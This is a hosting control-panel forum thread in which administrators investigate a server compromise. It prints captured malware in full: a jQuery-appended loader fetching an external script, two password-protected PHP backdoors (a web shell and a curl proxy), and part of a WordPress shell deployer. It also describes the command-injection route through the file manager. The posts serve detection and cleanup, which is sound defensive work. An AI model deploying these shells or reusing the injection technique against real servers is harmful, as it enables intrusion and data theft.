Control Web Panel
WebPanel => Information => Topic started by: murad99 on August 24, 2026, 10:55:39 PM
-
Hello CWP Team and Community,
I would like to report a suspicious security incident that occurred on my server on August 13, 2026.
I found malicious JavaScript injected at the end of jQuery files used by websites hosted on the server.
The injected code was:
const u = atob("aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz");
const s = document.createElement("script");
s.src = u;
s.dataset.landing = "";
s.dataset.channelCode = "9cbdf797";
document.head.appendChild(s);
The Base64 string:
aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz
decodes to:
https://she-g8f.pages.dev/boot.js
What I observed
The modification does not appear to affect random JavaScript files. It appears to specifically target the jQuery file that is actively being used by the website.
For example, if a website is using jquery.3.7.1.min.js, that file may be modified and the malicious code appended to the end.
I initially investigated this as a possible compromise of my own server, but I later found the same type of injection on another server also running CWP.
This makes me concerned that this may not be an isolated server or website compromise.
Quick detection
CWP users can search their /home directory with:
grep -RIl --binary-files=without-match 'aHR0cHM6Ly9zaGUtZzhmLnBhZ2VzLmRldi9ib290Lmpz' /home 2>/dev/null
This should return files containing the injected Base64 string.
I recommend checking the results, especially any jquery*.js files currently used by active websites.
Request for investigation
I have searched the server for the source of the modification but have not been able to determine the initial attack vector.
Could someone from the CWP team or an experienced CWP security researcher please investigate whether there is any known vulnerability or CWP-related mechanism that could allow an attacker to:
Identify actively used jQuery files.
Modify those files.
Inject an external JavaScript loader.
Do so without leaving an obvious trace in the normal server logs.
Since I have now observed the same behavior on two different CWP servers, I believe this deserves further investigation.
If other CWP users check their jQuery files and find the same injection, that may help determine the scope and source of the issue.
Thank you.
-
I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.
Check to see if you have this file. Or unpatched wordpress set up.
ico.php file code is
<?php
if(!isset($_POST["password"]) or md5($_POST["password"])!=="70f54a5fc83847180f948a889f12960d"){
http_response_code(404);
die;
}
$action_pwd_gan = isset($_POST["action_pwd_gan"]) ? $_POST["action_pwd_gan"] : "";
if ($action_pwd_gan === "dir") {
header("Content-Type: application/json");
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
if (empty($dir)) {
$dir = ".";
}
if (is_dir($dir)) {
echo json_encode(["status" => "success", "files" => scandir($dir)]);
} else {
echo json_encode(["status" => "error", "message" => "Directory not found"]);
}
}elseif ($action_pwd_gan === "upload") {
header("Content-Type: application/json");
$dir = isset($_POST["dir"]) ? $_POST["dir"] : "";
if (empty($dir)) {
$dir = ".";
}
if (isset($_REQUEST["file"])) {
$file_name = $_REQUEST["file"];
if (!is_dir($dir)) {
}
$file_path = $dir . DIRECTORY_SEPARATOR . $file_name;
if (file_put_contents($file_path, base64_decode($_REQUEST["content"]))) {
echo json_encode(["status" => "success", "message" => "File uploaded successfully", "file" => $file_name]);
} else {
echo json_encode(["status" => "error", "message" => "Failed to save file"]);
}
} else {
echo json_encode(["status" => "error", "message" => "No file data provided"]);
}
}elseif ($action_pwd_gan === "include") {
include($_POST["dir"]);
}
?>
-
I had the same thing happen to one of my servers. Only things I was able to find was old Wordpress installations, and apparently there was a wp2shell CVE on one of the older versions I was running, so could have been that.
Or I also found a malicious php file at /usr/local/cwpsrv/htdocs/admin/design/img/ico.php which was a password-protected PHP web shell/backdoor. The hardcoded md5 hash of the password in that file was 70f54a5fc83847180f948a889f12960d.
Check to see if you have this file. Or unpatched wordpress set up.
ico.php file code is
(...)
Yes, this file is **100% malicious**. It is a **web shell (backdoor)** that allows an attacker to remotely control parts of the server. Unfortunately, I found it on my server as well.
The file was disguised within the CWP admin panel's images folder (`/usr/local/cwpsrv/htdocs/admin/design/img/ico.php`) in an attempt to go undetected.
**What this malicious code does:**
* **Password Protection:** Requires a password via a `POST` parameter (validated against the MD5 hash `70f54a5fc83847180f948a889f12960d`). If the password is incorrect or missing, it simulates a `404 Not Found` error to fool basic scans.
* **File Listing (`action_pwd_gan = dir`):** Allows the attacker to navigate server directories and list all existing files.
* **File Upload (`action_pwd_gan = upload`):** Allows the attacker to upload new malicious files or overwrite existing files on the server using `base64` encoding.
* **Code Inclusion (`action_pwd_gan = include`):** Arbitrarily executes other PHP files on the server using the `include()` function. ---
**Immediate Removal and Mitigation Actions:**
1. **Remove the file immediately:**
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr -i /usr/local/cwpsrv/htdocs/admin/design/img/
rm -f /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/ico.php
chattr +i /usr/local/cwpsrv/htdocs/admin/design/img/
2. **Check for other files modified or created in the same folder:**
ls -lat /usr/local/cwpsrv/htdocs/admin/design/img/
I scanned my server logs and found no calls to it; however, if the server is compromised, the log entry might have been removed.
But I did find calls to it elsewhere under different names, so look for these names as well:
locate ico.php bico.php nico.phpIf you find any, take the same measures.
3. **Change all critical passwords:**
* Linux `root` user password.
* CWP panel access password.
* MySQL database and email user passwords. 4. **Inspect the server logs to understand the source of the intrusion:**
Look for access requests to the `ico.php` file in the panel logs to identify the attacker's IP address:
zgrep "ico.php" /usr/local/cwpsrv/logs/access_log*
zgrep "ico.php" /usr/local/cwpsrv/logs/error_log*
5. **Update CWP and system packages:**
Older CWP vulnerabilities are often exploited to inject this type of file into the `/usr/local/cwpsrv/` directory. Keep both the panel and the operating system fully up to date.
-
Thanks for sharing this information.
I checked my server for /usr/local/cwpsrv/htdocs/admin/design/img/ico.php, but that file does not exist on my server.
I also checked my WordPress installations. They were updated on August 11, and the first wp2shell attempts appeared on August 12. Therefore, I do not have any unpatched or outdated WordPress installations that match this scenario.
So, at least in my case, neither of these appears to be the source of the compromise.
-
Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?
-
Please advise the following:
What distro are you running CWP on?
What web server are you using? Apache or Nginx?
The version of web server?
What PHP version?
Was the affected site using WordPress?
If so, what version?
-
Looking for advice here:
When I looked at these two cwp server logfiles:
/usr/local/cwpsrv/logs/access_log*
/usr/local/cwpsrv/logs/error_log*
The access_log was over 3 gbs in size.
I scanned through these and saw no malicious offenders...I keep th cwp browser open all the time and I could see periodic updates into the file.
Looks like these have grown over the years, and it appears that they are on no log rotation.
Is it safe to delete these two periodically on my own?
-
Please advise the following:
What distro are you running CWP on?
What web server are you using? Apache or Nginx?
The version of web server?
What PHP version?
Was the affected site using WordPress?
If so, what version?
Sure, here are the details:
1. Operating System:
CentOS 7
2. Web Server:
Nginx & Apache
Additional Options:
php-cgi/suPHP, nginx/php-fpm, apache/php-fpm, proxy
3. Web Server Versions:
Apache 2.4.57
suPHP 0.7.2
Nginx 1.26.1
4. PHP Version:
The default PHP version is 7.4.33, but all websites are running PHP 8.3.21.
5. Affected Websites:
There are approximately 20 websites on this server.
The affected websites included:
* 2 WordPress websites
* 1 HTML website
* 5 custom-built websites
* Several subdomains
So this was not limited to WordPress websites.
6. WordPress Versions:
The two affected WordPress installations were:
* WordPress 6.8.8 — updated on August 12 at 17:52:28
* WordPress 6.9.7 — updated on August 12 at 19:19:48
For comparison, the following WordPress installations on the same server were not affected:
* WordPress 7.0.4 — updated on August 12 at 18:03:26
* WordPress 7.0.4 — updated on August 12 at 18:39:09
* WordPress 7.1 — updated on August 20 at 02:52:42
* WordPress 7.1 — updated on August 20 at 12:19:19
* WordPress 7.1 — updated on August 24 at 10:26:25
The malicious modifications were observed on August 13, while the affected WordPress installations had already been updated on August 12.
Also, since non-WordPress and custom websites were affected as well, I believe there may be another common attack vector involved.
One additional point: this is a private server and nobody other than myself has access to it.
I also noticed that the modification timestamps of the affected files were identical. This was not limited to the jQuery files of a single website; the jQuery files across the other affected websites had the same modification time as well. This makes me suspect that the modification may have been triggered from a single point and then propagated to other websites.
The WordPress installations initially looked suspicious, but the other affected websites use completely different custom infrastructures, and some of them do not even have an administrative panel. Therefore, it would not be possible to inject the code through those websites themselves.
I would also like to ask other CWP users, especially those running AlmaLinux 9 with all current updates, to check their jQuery files for the same injection. If this is a CWP-related issue, checking different operating systems and fully updated CWP installations may help identify the common attack vector.
-
Which PHP version are you running? What do you have for disable_functions in the relevant php.ini file?
I am running PHP 8.3.21 for the affected websites.
The disable_functions setting in the relevant php.ini is:
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
These functions are currently disabled.
-
The access_log was over 3 gbs in size.
...
Is it safe to delete these two periodically on my own?
My advice:
truncate -s0 /usr/local/cwpsrv/logs/access_log
truncate -s0 /usr/local/cwpsrv/logs/error_logThen look at File Management > Logrotate Manager and add a rotation job for those files.
-
@murad99
Is there a reason you are still running CentOS 7, a past EOL OS?
That alone is a massive security hole.
The past several weeks they have been Kernel updates almost every other day, at least for AL9 and AL10.
But to close some of the security holes, I would updated your:
Base PHP to at least 8.3.33 and the PHP-FPM for the websites. (I'm glad CWP finally got PHP updated)
Apache is at 2.4.68
Nginx is at 1.30.4
jQuery has several notable past Common Vulnerabilities and Exposures (CVEs) related to Cross-Site Scripting (XSS) and DOM manipulation.
(There are 137 entries just for jQuery)
That's not counting the CVE's for CentOS 7, Apache <2.4.68, Nginx <1.30 and PHP <8.3.33
Our AlmaLinux 9 servers are all OK.
But we try to keep everything updated on the server side, unfortunately that doesn't work with some users. :/
-
CWP team must update the base Apache and NGINX for everyone, this is urgent.
-
CWP shows it has Apache 2.4.68 in AL8 and AL9.
2.4.62 is the latest for CentOS 7.
These can be manually updated, which is what we do.
It's like 5 lines of commands.
Not sure if some of the libraries are still there though. EL7 support has been ended for allot of packages.
We also have Apache enabled for HTTP/2, which the stock one doesn't have an option for.
But again, curious why you are running a way past EOL CentOS 7 OS that has major security holes in it?
I know it's a pain to upgrade, we all have been there.
But again, running an EOL OS, you can expect security breaches.
If you need a CWPpro license temporarily to upgrade to AL8 or AL9 (I would recommend AL9), let me know.
-
There are two vulnerabilities listed in this thread: one for WordPress and another for CWP.
Note that in the case of the file `/usr/local/cwpsrv/htdocs/admin/design/img/ico.php`, the file was made immutable—something that is really only possible with root access.
The file is in one of my servers, and have the following listing:
-rw-r--r-- 1 root root 1477 nov 28 2025 ico.php
# stat ico.php
File: ico.php
Size: 1477 Blocks: 8 IO Block: 4096 regular file
Device: fd01h/64769d Inode: 2892154 Links: 1
Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2026-08-25 10:26:44.985182886 -0300
Modify: 2025-11-28 06:17:52.883868313 -0300
Change: 2026-08-24 21:59:57.435060346 -0300
Birth: 2025-11-15 08:06:12.856741480 -0300
-
Hmm what was going down in November? Been many challenges in 2026 I can't remember.
Search says this was current then CVE-2025-48703
-
In response to overseer ... Big Thanks for the advice!..:..
Trying to add to the forum here as well.
The access_log was over 3 gbs in size.
...
Is it safe to delete these two periodically on my own?
My advice:
truncate -s0 /usr/local/cwpsrv/logs/access_log
truncate -s0 /usr/local/cwpsrv/logs/error_logThen look at File Management > Logrotate Manager and add a rotation job for those files.
Added the following conf file into the log rotation tool
/usr/local/cwpsrv/logs/*_log {
daily
missingok
notifempty
rotate 14
compress
delaycompress
copytruncate
}
This is tested and working. Use/edit it at your own risk :) Notice the copytruncate at the end...learned the hard way that was needed, without it the the cwp process seemed to hold the file and continued writing into the copied file, not a good thing., The log rotation cron then did not create the log file. I am guessing that with a service bounce the original log file would be created.
Hope that this helps someone
-
@murad99
Is there a reason you are still running CentOS 7, a past EOL OS?
That alone is a massive security hole.
The past several weeks they have been Kernel updates almost every other day, at least for AL9 and AL10.
But to close some of the security holes, I would updated your:
Base PHP to at least 8.3.33 and the PHP-FPM for the websites. (I'm glad CWP finally got PHP updated)
Apache is at 2.4.68
Nginx is at 1.30.4
jQuery has several notable past Common Vulnerabilities and Exposures (CVEs) related to Cross-Site Scripting (XSS) and DOM manipulation.
(There are 137 entries just for jQuery)
That's not counting the CVE's for CentOS 7, Apache <2.4.68, Nginx <1.30 and PHP <8.3.33
Our AlmaLinux 9 servers are all OK.
But we try to keep everything updated on the server side, unfortunately that doesn't work with some users. :/
As I mentioned at the beginning of this thread, I observed the same issue on two different CWP servers, and one of those servers was running AlmaLinux 9.
I agree that the older versions on my CentOS 7 server are my responsibility, and I am not trying to argue otherwise. However, I want to emphasize that I also found the same injected jQuery files on an AlmaLinux 9 server.
I am not particularly concerned about my own server in this case; I decided to report the issue publicly because I believe there may be something worth investigating.
I have shared what I found. The interpretation and conclusion are ultimately up to the CWP team and the community.
One more thing I would like to mention: it appears that registering on the forum with a Gmail address is currently not working, as the confirmation email does not arrive. This may give the impression that forum registration is disabled. There may be other users experiencing the same issue who are currently unable to report their findings or ask for help here.
I thought it was worth mentioning this as well.
-
I can't keep up with CVE's for WordPress, and gave up.
But as long as you keep Apache updated, and have Mod Security installed, running the latest OWASP rules, you should be OK for the most part.
Unless again, WordPress or a WordPress plugin allows something in.
CWP hasn't had a CVE since last year (CVE-2025-67888), which was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205
There are 16 CVE's that just came out today (2026-08-27) for OpenSSL:
CVE-2026-81683
CVE-2026-81700
CVE-2026-81701
CVE-2026-81702
CVE-2026-81707
CVE-2026-81704
CVE-2026-81705
CVE-2026-81706
CVE-2026-81714
CVE-2026-81715
CVE-2026-81716
CVE-2026-81717
CVE-2026-81718
CVE-2026-81719
CVE-2026-81720
CVE-2026-81721
And 3 for Plesk:
CVE-2026-65642 (Allows you to gain access to other users databases)
CVE-2026-65646
CVE-2026-65647 (Allows code to be run as root)
-
Hmm what was going down in November? Been many challenges in 2026 I can't remember.
Search says this was current then CVE-2025-48703
These where the 2 last CVE's for CWP in 2025:
CVE-2025-67888 was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205
-
I can't keep up with CVE's for WordPress, and gave up.
But as long as you keep Apache updated, and have Mod Security installed, running the latest OWASP rules, you should be OK for the most part.
Unless again, WordPress or a WordPress plugin allows something in.
CWP hasn't had a CVE since last year (CVE-2025-67888), which was fixed with 0.9.8.1209
CVE-2025-48703 was fixed in 0.9.8.1205
There are 16 CVE's that just came out today (2026-08-27) for OpenSSL:
CVE-2026-81683
CVE-2026-81700
CVE-2026-81701
CVE-2026-81702
CVE-2026-81707
CVE-2026-81704
CVE-2026-81705
CVE-2026-81706
CVE-2026-81714
CVE-2026-81715
CVE-2026-81716
CVE-2026-81717
CVE-2026-81718
CVE-2026-81719
CVE-2026-81720
CVE-2026-81721
And 3 for Plesk:
CVE-2026-65642 (Allows you to gain access to other users databases)
CVE-2026-65646
CVE-2026-65647 (Allows code to be run as root)
Thank you, Starburst, for taking the time to look into this and for sharing your insights.
If you ever need help with anything here, I’m sure many people on this forum would be more than happy to help. Just start a thread and see what happens. :)
-
I discovered another file.
And the method used.
The file `/usr/local/cwpsrv/var/services/users/login/conf/Iang.php` was created on the same date as `ico.php`.
* Anatomy of the attack
The method used was this one, detected by ModSecurity (I protect my `cwpsrv` with ModSecurity), whose logs modsec_audit.log the attacker forgot to delete:
---vsWUH37C---A--
[15/Nov/2025:08:06:12 -0300] 176320477298.529591 127.0.0.1 42932 127.0.0.1 2083
---vsWUH37C---B--
[very long string, unfortunately forum is not allowing to post]
---vRkASqMp---H--
---vRkASqMp---I--
---vRkASqMp---J--
---vRkASqMp---Z--
He deleted all the other logs.
File data:
# stat ico.php
Arquivo: ico.php
Tamanho: 1477 Blocos: 8 bloco de E/S: 4096 arquivo comum
Dispositivo: fd01h/64769d Inode: 2892154 Links: 1
Acesso: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Acesso: 2026-08-27 10:18:13.727189654 -0300
Modificação: 2025-11-28 06:17:52.883868313 -0300
Alteração: 2026-08-24 21:59:57.435060346 -0300
Criação: 2025-11-15 08:06:12.856741480 -0300
# stat Iang.php
Arquivo: Iang.php
Tamanho: 1891 Blocos: 8 bloco de E/S: 4096 arquivo comum
Dispositivo: fd01h/64769d Inode: 3019261 Links: 1
Acesso: (0644/-rw-r--r--) Uid: ( 971/ cwpsvc) Gid: ( 970/ cwpsvc)
Acesso: 2026-08-27 20:53:36.488199001 -0300
Modificação: 2025-11-15 08:06:14.962752159 -0300
Alteração: 2026-08-27 20:51:53.481791997 -0300
Criação: 2025-11-15 08:06:12.432739330 -0300
If you are familiar with ModSecurity, you can use the HTTP data above to create a rule and protect your server.
ModSecurity was active, but the DELETE method was used; the attacker appended a ";" to the command and added further commands for execution.
* Why is the use of the DELETE method a crucial detail?
Firewall (WAF) Rule Bypass: Most administrators and default WAF/ModSecurity rules strictly monitor POST and GET requests, as these are the most common methods for sending data and commands. DELETE requests targeting public files often slip through without deep content inspection.
Exploiting Application Logic: The CWP script targeted in the attack (`/contsist/index.php?module=filemanager&acc=emptyTrash`) was originally designed to delete files (empty the trash). Consequently, the panel's API likely required or natively accepted the HTTP DELETE method for this specific function. The attacker exploited this legitimate permission to inject the `;` character into the URL and append the Linux commands that created the malicious file.
* Steps you can take:
Although the `filemanager` module appears to have been used, you should immediately restrict the methods allowed by Nginx and `cwpsrv`:
Add the following to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, inside the `server {` directive and before the `location / {` block:
# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}
If you discover the presence of any of the files mentioned above, you should run a scan using the following command:
# maldet -a /usr/local/cwpsrv/htdocs/admin/
Critic:
To use the filemanager module, it was necessary to know the username.
But he managed to use the username because it's extremely simple to find the username in CWP: Just use http://IP.AD.DR.ESS/~username
Just associate it with the user's domain name, and the damage is done.
This feature needs to be disabled immediately in CWP.
There are other possible ways to test a website before it's published, and this is the worst method.
Once you have the username, all that's missing is the password to break the login of any active service on your server.
In my opinion, you should remove or comment out this section of the file /etc/nginx/conf.d/IP.AD.DR.ESS.conf
location ~ ^/~(.+?)(/.*)?$ {
internal;
proxy_pass http://IP.AD.DR.ESS:8181;
include proxy.inc;
}
If you don't use the proxy, you should remove it anyway.
I discovered today that in nginx, using alias in a prefixed location that doesn't end with directory separator could lead to path traversal vulnerability.
Additional info: https://gixy.getpagespeed.com/checks/alias-traversal/
The alias directive is used to replace path of the specified location. For example, with the following configuration:
location /i/ {
alias /data/w3/images/;
}
On request of /i/top.gif, the file /data/w3/images/top.gif will be sent.
But if the location doesn't end with directory separator (i.e. /):
location /i {
alias /data/w3/images/;
}
On request of /i../app/config.py, the file /data/w3/app/config.py will be sent.
In other words, the incorrect alias configuration could allow an attacker to read files stored outside the target folder.
There are more things that can be done, but for now I need to focus on fixing my server and exploring other possibilities.
-
I had another file at '/usr/local/cwpsrv/var/services/pma/ur1.php' (notice the number 1 not letter L)
<?php
function sanitizeInput($input) {
return base64_decode(strip_tags($input));
}
if (isset($_POST["pwd"]) && md5($_POST["pwd"]) === "f7f909e5246687610e1c56dc15121e26") {
$target_url = isset($_POST["url"]) ? sanitizeInput($_POST["url"]) : "";
$request_data = isset($_POST["data"]) ? sanitizeInput($_POST["data"]) : "";
if (empty($target_url)) {
http_response_code(404);
die("no url provided");
}
if (!filter_var($target_url, FILTER_VALIDATE_URL)) {
http_response_code(404);
die("URL format error");
}
try {
$ch = curl_init();
$options = [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_MAXREDIRS => 3,
CURLOPT_TIMEOUT => 10,
CURLOPT_SSL_VERIFYPEER => true,
CURLOPT_USERAGENT => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
];
curl_setopt_array($ch, $options);
if (!empty($request_data)) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request_data);
}
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if (curl_errno($ch)) {
throw new Exception("request error: " . curl_error($ch));
}
http_response_code($http_code);
echo "status code: {$http_code}\n\n";
echo $response;
} catch (Exception $e) {
http_response_code(404);
echo "server error: " . $e->getMessage();
} finally {
if (isset($ch)) {
curl_close($ch);
}
}
}
http_response_code(404);
?>
-
Also found a possible botnet running, idk if related but 'ss -tanp | grep -E 'ESTAB|LISTEN'' revealed a process running that was connected to a known botnet IP 23.27.47.158:80
Dumping the in-memory payload for the pid connected to this IP, I found the md5sum matched a file on disk at /tmp/bash
After force-killing the PID, it respawned. After further investigation, found there was a service file at '/etc/systemd/system/htttpd.service' (notice three t's)
Looks like htttpd.service was active since Aug 10
-
Actually, I think this is related to https://forum.centos-webpanel.com/other/something-is-intercepting-bots-and-loading-a-different-page-for-them/msg54012/#msg54012 (https://forum.centos-webpanel.com/other/something-is-intercepting-bots-and-loading-a-different-page-for-them/msg54012/#msg54012) unless both these issues are related idk.
Also found a possible botnet running, idk if related but 'ss -tanp | grep -E 'ESTAB|LISTEN'' revealed a process running that was connected to a known botnet IP 23.27.47.158:80
Dumping the in-memory payload for the pid connected to this IP, I found the md5sum matched a file on disk at /tmp/bash
After force-killing the PID, it respawned. After further investigation, found there was a service file at '/etc/systemd/system/htttpd.service' (notice three t's)
Looks like htttpd.service was active since Aug 10
-
Thanks, Netino. Your write-up was very clear, insightful and much appreciated!
-
Look for a file named test123zz in your web roots:
ls -al /home/*/public_html/test123zz
-
Cleanup:
rm -f /home/*/public_html/test123zz
rm -f /home/*/public_html/cwp_login_*.php
-
I discovered another file.
And the method used.
The file `/usr/local/cwpsrv/var/services/users/login/conf/Iang.php` was created on the same date as `ico.php`.
* Anatomy of the attack
The method used was this one, detected by ModSecurity (I protect my `cwpsrv` with ModSecurity), whose logs modsec_audit.log the attacker forgot to delete:
---vsWUH37C---A--
[15/Nov/2025:08:06:12 -0300] 176320477298.529591 127.0.0.1 42932 127.0.0.1 2083
---vsWUH37C---B--
[very long string, unfortunately forum is not allowing to post]
---vRkASqMp---H--
---vRkASqMp---I--
---vRkASqMp---J--
---vRkASqMp---Z--
He deleted all the other logs.
File data:
# stat ico.php
Arquivo: ico.php
Tamanho: 1477 Blocos: 8 bloco de E/S: 4096 arquivo comum
Dispositivo: fd01h/64769d Inode: 2892154 Links: 1
Acesso: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Acesso: 2026-08-27 10:18:13.727189654 -0300
Modificação: 2025-11-28 06:17:52.883868313 -0300
Alteração: 2026-08-24 21:59:57.435060346 -0300
Criação: 2025-11-15 08:06:12.856741480 -0300
# stat Iang.php
Arquivo: Iang.php
Tamanho: 1891 Blocos: 8 bloco de E/S: 4096 arquivo comum
Dispositivo: fd01h/64769d Inode: 3019261 Links: 1
Acesso: (0644/-rw-r--r--) Uid: ( 971/ cwpsvc) Gid: ( 970/ cwpsvc)
Acesso: 2026-08-27 20:53:36.488199001 -0300
Modificação: 2025-11-15 08:06:14.962752159 -0300
Alteração: 2026-08-27 20:51:53.481791997 -0300
Criação: 2025-11-15 08:06:12.432739330 -0300
If you are familiar with ModSecurity, you can use the HTTP data above to create a rule and protect your server.
ModSecurity was active, but the DELETE method was used; the attacker appended a ";" to the command and added further commands for execution.
* Why is the use of the DELETE method a crucial detail?
Firewall (WAF) Rule Bypass: Most administrators and default WAF/ModSecurity rules strictly monitor POST and GET requests, as these are the most common methods for sending data and commands. DELETE requests targeting public files often slip through without deep content inspection.
Exploiting Application Logic: The CWP script targeted in the attack (`/contsist/index.php?module=filemanager&acc=emptyTrash`) was originally designed to delete files (empty the trash). Consequently, the panel's API likely required or natively accepted the HTTP DELETE method for this specific function. The attacker exploited this legitimate permission to inject the `;` character into the URL and append the Linux commands that created the malicious file.
* Steps you can take:
Although the `filemanager` module appears to have been used, you should immediately restrict the methods allowed by Nginx and `cwpsrv`:
Add the following to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, inside the `server {` directive and before the `location / {` block:
# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}
If you discover the presence of any of the files mentioned above, you should run a scan using the following command:
# maldet -a /usr/local/cwpsrv/htdocs/admin/
Critic:
To use the filemanager module, it was necessary to know the username.
But he managed to use the username because it's extremely simple to find the username in CWP: Just use http://IP.AD.DR.ESS/~username
Just associate it with the user's domain name, and the damage is done.
This feature needs to be disabled immediately in CWP.
There are other possible ways to test a website before it's published, and this is the worst method.
Once you have the username, all that's missing is the password to break the login of any active service on your server.
In my opinion, you should remove or comment out this section of the file /etc/nginx/conf.d/IP.AD.DR.ESS.conf
location ~ ^/~(.+?)(/.*)?$ {
internal;
proxy_pass http://IP.AD.DR.ESS:8181;
include proxy.inc;
}
If you don't use the proxy, you should remove it anyway.
I discovered today that in nginx, using alias in a prefixed location that doesn't end with directory separator could lead to path traversal vulnerability.
Additional info: https://gixy.getpagespeed.com/checks/alias-traversal/
The alias directive is used to replace path of the specified location. For example, with the following configuration:
location /i/ {
alias /data/w3/images/;
}
On request of /i/top.gif, the file /data/w3/images/top.gif will be sent.
But if the location doesn't end with directory separator (i.e. /):
location /i {
alias /data/w3/images/;
}
On request of /i../app/config.py, the file /data/w3/app/config.py will be sent.
In other words, the incorrect alias configuration could allow an attacker to read files stored outside the target folder.
There are more things that can be done, but for now I need to focus on fixing my server and exploring other possibilities.
Same issue here, with Iang.php and ur1.php files.
What's the fix for these attacks? Just delete files?
Was not clear if this was created using FileManager vulnerability. Is this correct?
Various sites affected here.
Backups was disabled too, withoout any command.
Some Nodejs apps was down too, no reason.
Distro is Centos 8 Stream.
Thanks!
-
Cleanup:
rm -f /home/*/public_html/test123zz
rm -f /home/*/public_html/cwp_login_*.php
No test123zz file for me, but I did have a few cwp_login_ files. They were on a wordpress site, that I also found a wp2shell file 'wp-content/plugins/fm-rxadmy.php' from Jul 28th. Ended up just restoring this site from an early backup, instantly updating & rotating creds.
It won't let me put the full code, but the top of the file starts with this:
<?php
/**
* AIOWPM Shell Deployer v2 — auto WAF-variant detect
* wrapped payload, random creds, emit-mode self-test
*/
@error_reporting(0);
@ini_set("display_errors",0);
@set_time_limit(0);
$pass_file = __DIR__ . "/.lil_tmp2";
if (file_exists($pass_file)) {
$st = json_decode(file_get_contents($pass_file), true);
} else {
$st = array(
"pass" => substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 12),
"name" => "wp-obj-" . substr(str_shuffle("abcdefghijklmnopqrstuvwxyz"), 0, 6) . ".php",
"ax" => substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 20),
"emit" => "",
);
@file_put_contents($pass_file, json_encode($st));
}
It uses gzinflate to decompress a base64 blob. I would double check for these kinds of files with
grep -r "gzinflate(base64_decode" /home/*/public_html/Legit files could potentially use this function, so double check the contents, especially files modified recently.
I am on AlmaLinux 8. But I found out my kernel wasn't running the updated version :/ It was getting updated & installed via YUM/DNF, but the boot/uefi partitions weren't getting mounted properly, so they were not updating in the right spot for it to be run on boot.
uname -r
ls -1 /boot/vmlinuz*to double check your running kernel version is the latest one you've downloaded.
-
Very strange behaviour here.
Found a directory inside user's home in wordpress site with root permission
drwxr-xr-x 4 root root 4096 Aug 30 12:59 .conf
Where did come from?
-
For a while, I’m going to check the `/home` directory daily for files modified within the last 24 hours. Since my server has relatively few users but receives a high number of attacks, I’m more likely to notice suspicious activity. If I find anything suspicious, I’ll share it here.
This is the command I’m using:
find /home -type f -cmin -1440
-printf '%TY-%Tm-%Td %TH:%TM:%TS %p\n' 2>/dev/null |
grep -v 'sess_' |
sort -r
-
(...)
Same issue here, with Iang.php and ur1.php files.
What's the fix for these attacks? Just delete files?
Was not clear if this was created using FileManager vulnerability. Is this correct?
Various sites affected here.
Backups was disabled too, withoout any command.
Some Nodejs apps was down too, no reason.
Distro is Centos 8 Stream.
Thanks!
The issue lay with the file manager. The attacker used the DELETE method to send a request containing a long string, appended a semicolon (";"), and executed a series of commands with root privileges. I was able to confirm—based on the attack timestamp, the timestamps of the injected files, and log entries the attacker failed to delete—that this was the method used.
Therefore, you should restrict the DELETE method by adding the following configuration to your `/usr/local/cwpsrv/conf/cwpsrv.conf` file, placing it between the `server {` and `location / {` directives:
# Natively block unauthorized methods in NGINX
if ($request_method !~ ^(GET|HEAD|POST)$ ) {
return 444; # Code 444 closes the connection immediately without sending headers, saving bandwidth and dropping the bot
}
Additionally, you should disable the file manager:
mv /usr/local/cwpsrv/var/services/user_files/modules/filemanager.php{,.disabled}
The attacker exploited the file manager to gain root access to the server using a standard user account. Consequently, you should also remove the following configuration block wherever it appears:
location ~ ^/~(.+?)(/.*)?$ {
internal;
proxy_pass http://IP.AD.DR.ESS:8181;
include proxy.inc;
}
However, there is no guarantee that it did not access your information and collect any sensitive or confidential data from your server. You should take measures to mitigate the impact of the server data compromise, should such an event have occurred.
Regards,
Netino
-
(...)
Same issue here, with Iang.php and ur1.php files.
What's the fix for these attacks? Just delete files?
Was not clear if this was created using FileManager vulnerability. Is this correct?
Various sites affected here.
Backups was disabled too, withoout any command.
Some Nodejs apps was down too, no reason.
Distro is Centos 8 Stream.
Thanks!
The issue lay with the file manager. The attacker used the DELETE method to send a request containing a long string, appended a semicolon (";"), and executed a series of commands with root privileges. I was able to confirm—based on the attack timestamp, the timestamps of the injected files, and log entries the attacker failed to delete—that this was the method used.
